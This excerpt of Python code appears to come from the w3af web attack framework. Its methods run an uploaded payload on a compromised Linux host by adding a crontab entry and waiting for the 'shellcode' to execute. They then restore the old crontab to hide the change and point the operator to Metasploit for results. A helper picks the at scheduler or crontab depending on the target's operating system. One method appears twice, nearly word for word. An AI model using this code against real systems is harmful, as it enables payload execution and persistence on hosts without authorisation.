def _exec_payload(self, remote_filename):
'''
This method should be implemented according to the remote operating
system. The idea here is to execute the payload that was sent using
_send_exe_to_server and generated by _generate_exe . In lnxVd I
should run "chmod +x file; ./file"
:return: None
'''
cH = crontabHandler(self._exec_method)
if not cH.can_delay():
msg = '[lnxVd] Failed to create cron entry.'
om.out.debug(msg)
raise w3afException(msg)
else:
wait_time = cH.add_to_schedule(remote_filename)
om.out.console(
'Crontab entry successfully added. Waiting for shellcode execution.'
)
time.sleep(wait_time + 3)
om.out.debug(
'Shellcode successfully executed, restoring old crontab.')
cH.restore_old_schedule()
om.out.debug('All done, check metasploit for results.')
def _exec_payload(self, remote_filename):
'''
This method should be implemented according to the remote operating
system. The idea here is to execute the payload that was sent using
_send_exe_to_server and generated by _generate_exe . In lnxVd I
should run "chmod +x file; ./file"
:return: None
'''
cH = crontabHandler(self._exec_method)
if not cH.can_delay():
msg = '[lnxVd] Failed to create cron entry.'
om.out.debug(msg)
raise w3afException(msg)
else:
wait_time = cH.add_to_schedule(remote_filename)
om.out.console('Crontab entry successfully added. Waiting for shellcode execution.')
time.sleep(wait_time + 3)
om.out.debug(
'Shellcode successfully executed, restoring old crontab.')
cH.restore_old_schedule()
om.out.debug('All done, check metasploit for results.')
def get_delayed_execution_handler(self):
os = os_detection_exec(self._exec_method)
if os == 'windows':
return atHandler(self._exec_method)
elif os == 'linux':
return crontabHandler(self._exec_method)
else:
raise w3afException(
'Failed to create a delayed execution handler.')